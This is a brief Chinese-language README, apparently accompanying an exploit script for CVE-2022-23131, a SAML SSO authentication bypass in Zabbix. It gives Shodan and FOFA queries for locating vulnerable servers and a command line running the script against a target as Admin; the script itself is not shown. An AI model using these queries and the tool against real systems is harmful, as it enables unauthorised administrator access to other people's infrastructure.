CVE-2022-23131

Zabbix - SAML SSO 身份验证绕过

描述

在启用了 SAML SSO 身份验证（非默认配置）的情况下，由于存储在会话中的用户登录信息未经验证，恶意行为者可以修改会话数据。

搜索语法：

shodan-query: http.favicon.hash:892542951

fofa-query: app="ZABBIX-监控系统" && body="saml"

用法

python3 zabbix_session_exp.py  -t https:target.com -u Admin

参考